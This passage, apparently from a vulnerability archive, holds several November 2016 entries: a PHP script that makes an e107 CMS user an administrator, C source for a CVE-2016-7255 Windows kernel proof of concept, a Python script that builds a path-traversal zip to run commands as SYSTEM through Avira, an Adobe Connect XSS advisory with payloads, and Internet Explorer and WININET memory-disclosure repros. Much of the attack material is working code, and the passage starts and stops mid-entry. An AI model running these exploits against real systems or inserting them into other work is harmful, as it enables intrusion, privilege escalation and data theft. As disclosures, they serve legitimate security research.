        o­XHR.add­Event­Listener("load", function() { 
          alert("load: " + JSON.stringify(o­XHR.status) + " " + JSON.stringify(o­XHR.status­Text) + "\r\n" +
              JSON.stringify(o­XHR.response­Text));
          set­Timeout(send­Request, 1000);
        });
        o­XHR.add­Event­Listener("error", function() { 
          alert("error: " + JSON.stringify(o­XHR.status) + " " + JSON.stringify(o­XHR.status­Text) + "\r\n" +
              JSON.stringify(o­XHR.response­Text));
          set­Timeout(send­Request, 1000);
        });
      }
      send­Request();
      // This work by Sky­Lined is licensed under a Creative Commons
      // Attribution-Non-Commercial 4.0 International License. 
    </script>
  </head>
</html>

<!--
Response.http

HTTP/1.1 100 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

HTTP/1.1 200 X

Description

When WININET is processing a HTTP 100 response, it expects another HTTP response to follow. WININET stores all data received from the server into a buffer, uses a variable to store an index into this buffer to track where it is currently processing data, and uses another variable to store the length of the remaining data in the buffer.

When processing the headers of the HTTP 100 request, the code updates the index correctly, but does not decrement the length variable. When the code processes the next request, the length variable is too large, which can cause the code to read beyond the end of the data received from the server. This may cause it to parse data stored in the buffer that was previously received as part of the current HTTP response, and can even cause it to do the same for data read beyond the end of the buffer. This can potentially lead to information disclosure.

The larger the HTTP 100 response is, the more bytes the code reads beyond the end of the data. Here are some example responses and their effect:

  "HTTP 100\r\n\r\n­X" (12 bytes in HTTP 100 response)
    => read "X" and the next 11 bytes in memory as the next response.
  "HTTP 100\r\n\r\n­XXXX" (12 bytes in HTTP 100 response)
    => read "XXXX" and the next 8 bytes in memory as the next response.
  "HTTP 100XXX\r\n\r\n­X" (15 bytes in HTTP 100 response)
    => read "X" and the next 14 bytes in memory as the next response.
  "HTTP 100XXX........XXX\r\n\r\n­X..." (N bytes in HTTP 100 response)
    => read "X" and the next (N-1) bytes in memory as the next response.

Exploit

This issue is remarkably similar to an issue in HTTP 1xx response handling I found in Google Chrome a while back. That issue allowed disclosure of information from the main process' memory through response headers. I attempted to leak some data using this vulnerability by using the following response:

  "HTTP 100XXX........XXX\r\n­HTTP 200 X"

I was hoping this would cause the OOB read to save data from beyond the end of the HTTP 200 reponse in the status­Text property of the XMLHttp­Request, but I did not immediately see this happen; all I got was "OK" or an empty string.

Unfortunately, I did not have time to reverse the code and investigate further myself. All VCPs I submitted the issue to rejected it because they though it was not practically exploitable.

Time-line

October 2014: This vulnerability was found through fuzzing.
October-November 2014: This vulnerability was submitted to ZDI, i­Defense and EIP.
November-December 2014: ZDI, i­Defense and EIP all either reject the submission because Windows 10 is in pre-release, or fail to respond.
August 2015: re-submitted to ZDI, i­Defense and EIP, since Windows 10 is now in public release.
September-October 2015: ZDI, i­Defense and EIP all either reject the submission because they do not consider it practically exploitable, or fail to respond.
June 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
September 2016: The vulnerability was address by Microsoft in MS16-105.
November 2016: Details of this issue are released.
-->
            
# Exploit Title: e107 CMS 2.1.2 Privilege Escalation
# Date: 09-11-2016
# Software Link: http://e107.org/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

Datas from `$_POST['updated_data']` inside `usersettings.php` are not properly validated so we can set `user_admin`.

http://security.szurek.pl/e107-cms-211-privilege-escalation.html

2. Proof of Concept

<?php

/**
 * e107 CMS 2.1.2 Privilege Escalation
 * Kacper Szurek
 * http://security.szurek.pl
 */
function hack($url, $login, $pass, $cookie){

	$ckfile = dirname(__FILE__) . $cookie;
	$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In')));
	curl_setopt($ch, CURLOPT_POST, 1);
	$content = curl_exec($ch);
	if (strpos($content, '?logout') === false) {
		die("Cannot login");
	}

	$data = array();
	$data['user_admin'] = 1;
	$data['user_perms'] = 0;
	$data['user_password'] = md5($pass);

	curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php');
	curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass)));
	$content = curl_exec($ch);

	if (strpos($content, 'Settings updated') === false) {
		die("Exploit probably failed");
	}

	die('OK!');
}

$url = "http://url_here";

// Standard user credentials 
$user = "login_here";
$pass = "password_here";

$cookie = "/cookie.txt";
hack($url, $user, $pass, $cookie);
            
/*
Source: https://github.com/tinysec/public/tree/master/CVE-2016-7255

Full Proof of Concept:

https://github.com/tinysec/public/tree/master/CVE-2016-7255
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40745.zip

********************************************************************
 Created:	2016-11-09 14:23:09
 Filename: 	main.c
 Author:	root[at]TinySec.net
 Version	0.0.0.1
 Purpose:	poc of cve-2016-0075
*********************************************************************
*/

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>


//////////////////////////////////////////////////////////////////////////
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")

#undef DbgPrint
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
	CHAR* pszDbgBuff = NULL;
	va_list VaList=NULL;
	ULONG ulRet = 0;
	
	do 
	{
		pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
		if (NULL == pszDbgBuff)
		{
			break;
		}
		RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
		
		va_start(VaList,Format);
		
		_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);
		
		DbgPrintEx(77 , 0 , pszDbgBuff );
		OutputDebugStringA(pszDbgBuff);
		
		va_end(VaList);
		
	} while (FALSE);
	
	if (NULL != pszDbgBuff)
	{
		HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
		pszDbgBuff = NULL;
	}
	
	return ulRet;
}


 int _sim_key_down(WORD wKey)
 {
	 INPUT stInput = {0};
	 
	 do 
	 {
		 stInput.type = INPUT_KEYBOARD;
		 stInput.ki.wVk = wKey;
		 stInput.ki.dwFlags = 0;
		 
		 SendInput(1 , &stInput , sizeof(stInput) );

	 } while (FALSE);
	 
	 return 0;
}

 int _sim_key_up(WORD wKey)
 {
	 INPUT stInput = {0};
	 
	 do 
	 {
		 stInput.type = INPUT_KEYBOARD;
		 stInput.ki.wVk = wKey;
		 stInput.ki.dwFlags = KEYEVENTF_KEYUP;
		 
		 SendInput(1 , &stInput , sizeof(stInput) );
		 
	 } while (FALSE);
	 
	 return 0;
}

 int _sim_alt_shift_esc()
 {
	 int i = 0;
	 
	 do 
	 {
		 _sim_key_down( VK_MENU );
		 _sim_key_down( VK_SHIFT );	 
		 
		
		_sim_key_down( VK_ESCAPE);
		_sim_key_up( VK_ESCAPE);

		_sim_key_down( VK_ESCAPE);
		_sim_key_up( VK_ESCAPE);
			 
		 _sim_key_up( VK_MENU );
		 _sim_key_up( VK_SHIFT );	 	 
		 
		 
	 } while (FALSE);
	 
	 return 0;
}

 

 int _sim_alt_shift_tab(int nCount)
 {
	 int i = 0;
	 HWND hWnd = NULL;


	 int nFinalRet = -1;

	 do 
	 {
		 _sim_key_down( VK_MENU );
		 _sim_key_down( VK_SHIFT );	 


		 for ( i = 0; i < nCount ; i++)
		 {
			 _sim_key_down( VK_TAB);
			 _sim_key_up( VK_TAB);
			 
			 Sleep(1000);

		 }
	
		 
		_sim_key_up( VK_MENU );
		 _sim_key_up( VK_SHIFT );	 
	 } while (FALSE);
	 
	 return nFinalRet;
}



int or_address_value_4(__in void* pAddress)
{
	WNDCLASSEXW stWC = {0};

	HWND	hWndParent = NULL;
	HWND	hWndChild = NULL;

	WCHAR*	pszClassName = L"cve-2016-7255";
	WCHAR*	pszTitleName = L"cve-2016-7255";

	void*	pId = NULL;
	MSG		stMsg = {0};

	do 
	{

		stWC.cbSize = sizeof(stWC);
		stWC.lpfnWndProc = DefWindowProcW;
		stWC.lpszClassName = pszClassName;
		
		if ( 0 == RegisterClassExW(&stWC) )
		{
			break;
		}

		hWndParent = CreateWindowExW(
			0,
			pszClassName,
			NULL,
			WS_OVERLAPPEDWINDOW|WS_VISIBLE,
			0,
			0,
			360,
			360,
			NULL,
			NULL,
			GetModuleHandleW(NULL),
			NULL
		);

		if (NULL == hWndParent)
		{
			break;
		}

		hWndChild = CreateWindowExW(
			0,
			pszClassName,
			pszTitleName,
			WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
			0,
			0,
			160,
			160,
			hWndParent,
			NULL,
			GetModuleHandleW(NULL),
			NULL
		);
		
		if (NULL == hWndChild)
		{
			break;
		}

		#ifdef _WIN64
			pId = ( (UCHAR*)pAddress - 0x28 ); 
		#else
			pId = ( (UCHAR*)pAddress - 0x14); 
		#endif // #ifdef _WIN64
		
		SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );

		DbgPrint("hWndChild = 0x%p\n" , hWndChild);
		DebugBreak();

		ShowWindow(hWndParent , SW_SHOWNORMAL);

		SetParent(hWndChild , GetDesktopWindow() );

		SetForegroundWindow(hWndChild);

		_sim_alt_shift_tab(4);
		
		SwitchToThisWindow(hWndChild , TRUE);
		
		_sim_alt_shift_esc();


		while( GetMessage(&stMsg , NULL , 0 , 0) )
		{	
			TranslateMessage(&stMsg);
			DispatchMessage(&stMsg);
		}
	

	} while (FALSE);

	if ( NULL != hWndParent )
	{
		DestroyWindow(hWndParent);
		hWndParent = NULL;
	}

	if ( NULL != hWndChild )
	{
		DestroyWindow(hWndChild);
		hWndChild = NULL;
	}

	UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );

	return 0;
}

int __cdecl wmain(int nArgc, WCHAR** Argv)
{
	do 
	{
		or_address_value_4( (void*)0xFFFFFFFF );
	} while (FALSE);
	
	return 0;
}
            
Document Title:
===============
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1838

Security ID: PSIRT-5180

Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851

Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi


CVE-ID:
=======
CVE-2016-7851


Release Date:
=============
2016-11-09


Vulnerability Laboratory ID (VL-ID):
====================================
1838


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.

(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.


Vulnerability Disclosure Timeline:
==================================
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
2016-11-08: Security Acknowledgements (Adobe Security Team)
2016-11-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Adobe Systems
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.

The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request. 
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events 
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as 
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials 
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe 
connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8. 
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources 
and persistent manipulation of affected or connected service module context.

Request Method(s): Inject
				[+] POST

Vulnerable Module(s):
				[+] Events - Webinar Registration Form

Vulnerable File(s):
				[+] event_registration.html

Vulnerable Parameter(s):
				[+] firstname
				[+] lastname
				[+] companyname

Affected Module(s):
				[+]  (admin@adobeconnect.com)


Proof of Concept (PoC):
=======================
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Open your mailbox and click to the portals webinar email for administrators
2.  Surf to the signup registration of adobe connect next to the events reck
3.  Inject to the firstname, lastname and companyname your own script code payload
4.  Submit the POST request to get activated for the webinar to hackerone via adobe connect
5.  Check the local input of the registered account
6.  The script code payloads of the name values are replied by the email service without secure encode
Note: The execution of the payloads occurs directly after the arrival and view
7.  Now choose in the email the link to the webinar that is connected to the name values
8.  Join the channel and write a message for interaction
9.  The code executes in several sections of the webinar adobe connect events service with persistent vector
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!


PoC: event_registration.html
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;"> 
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p> 
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p> 
</div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051 
Mime Type[text/html]
   Request Header:
      Host[events-na1.adobeconnect.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
      Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
      Connection[keep-alive]
   POST-Daten:
      2159915054[Yes]
      2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      2159915057[adasfaf+asfasdfasfasfasdfsdfs]
      login[bkm%40evolution-sec.com]
      first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
      campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
      sco-id[2159915051]
      reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
      reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
      action[event-register]
      _charset_[UTF-8]
      login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
      set-lang[en]
      reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
   Response Header:
      Connection[Keep-Alive]
      Server[Day-Servlet-Engine/4.1.24]
      Content-Type[text/html;charset=UTF-8]
      Date[Wed, 27 Apr 2016 08:56:07 GMT]
      Transfer-Encoding[chunked]
      Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect 
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]


Reference(s):
https://events-na1.adobeconnect.com/
https://events-na1.adobeconnect.com/content/
https://events-na1.adobeconnect.com/content/connect/
https://events-na1.adobeconnect.com/content/connect/connect-action


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in 
the registration file POST method request.
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.

Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 	9.5.7 windows desktop version.
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html


Security Risk:
==============
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 				- admin@evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
            
# Title :  Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM)
# Date : 08/11/2016
# Author : R-73eN
# Tested on: Avira Antivirus 15.0.21.86 in Windows 7
# Vendor : https://www.avira.com/
# Disclosure Timeline:
# 2016-06-28 - Reported to Vendor through Bugcrowd.
# 2016-06-29 - Vendor Replied.
# 2016-07-05 - Vendor Replicated the vulnerability.
# 2016-09-02 - Vendor released updated version which fix the vulnerability.
# 2016-11-08 - Public Disclosure
# I would like to thank Avira security team for the quick response. 
#
# Vulnerability Description:
# When the Avira Launcher manual update imports a zip file doesn't checks for " ../ " 
# characters which makes it possible to do a path traversal and write anywhere in the system.
# Vulnerability Replication
# 1. Create a special crafted zip file with the python script attached. 
# 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:\ 
# 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or 
#    system32 directory which will get loaded and we gain remote command execution. 
# 4. Open avira free antivirus 
# 5. Go to update -> Manual Update 
# 6. Select the malicious file 
# 7. Directory traversal was sucessfull
# Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q
# POC: 

#!/usr/bin/python -w
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import zipfile, sys


if(len(sys.argv) != 2):
    print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
    print "[+] Example: python exploit.py test.txt"
    exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\test.bat")
zf.close()
print "[+] Created xvdf_fusebundle.zip successfully [+]"

# Fix:
# Update to the latest version.
            
<!--
Source: http://blog.skylined.nl/20161109001.html

Synopsis

A specially crafted web-page can cause Microsoft Internet Explorer to assume a CSS value stored as a string can only be "true" or "false". To determine which of these two values it is, the code checks if the fifth character is an 'e' or a "\0". An attacker that is able to set it to a smaller string can cause the code to read data out-of-bounds and is able to determine if a WCHAR value stored behind that string is "\0" or not.

Known affected versions, attack vectors and mitigations

MSIE 9-11 (earlier versions were not tested)

An attacker would need to get a target user to open a specially crafted webpage. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

repro.html

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
  // This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet
  // Explorer 11. On x64 systems, this should cause an access violation when
  // run with page-heap enabled, as the code attempts to read a byte
  // immediately following a 4 byte memory block.
  // See http://blog.skylined.nl/20161109001.html for details.
  var o = document.document­Element;
  Collect­Garbage();
  // Heap Feng-Shui plunger
  o.set­Attribute("a", "1");
  o.set­Attribute("b", "2");
  o.set­Attribute("c", "3");
  o.set­Attribute("d", "4");
  o.set­Attribute("e", "5");
  o.set­Attribute("f", "6");
  // Allocate a string that contains 3 characters (6 bytes), for which an 8
  // byte memory block is allocated:
  o.set­Attribute("g", "AB\u4141");
  // Free the memory block.
  o.remove­Attribute("g");
  // Reallocate the same memory block to store a 1 character string (2 bytes).
  // The memory block will look like this:
  //   78 00 00 00 41 41 00 00  |  "x\0\u4141\0"
  //  ^- start --------- end -^
  // Now have the code attempt to read the fifth character and access OOB data:
  document.document­Element.style.set­Property("textdecorationblink", "x");
  // This work by Sky­Lined is licensed under a Creative Commons
  // Attribution-Non-Commercial 4.0 International License. 
</script>

Description

Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.

The vulnerable code is in MSHTML!PROPERTYDESC::Handle­Style­Component­Property. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.

In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).

Known properties of the type that leads to the vulnerable code path include text­Decoration­Blink, text­Decoration­Line­Through, text­Decoration­Line­None, text­Decoration­Overline, and text­Decoration­Underline.

Exploit

The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the text­Decoration­Blink property, which can be used to set the CSS text-decoration property to "blink" or an empty string.

Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.

The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.

Time-line

Februari 2016: This vulnerability was found through fuzzing.
Februari 2016: This vulnerability was submitted to ZDI, i­Defense and EIP.
March-July 2016: ZDI, i­Defense and EIP all either reject the submission or fail to respond.
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
September 2016: The vulnerability was address by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
  // This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet
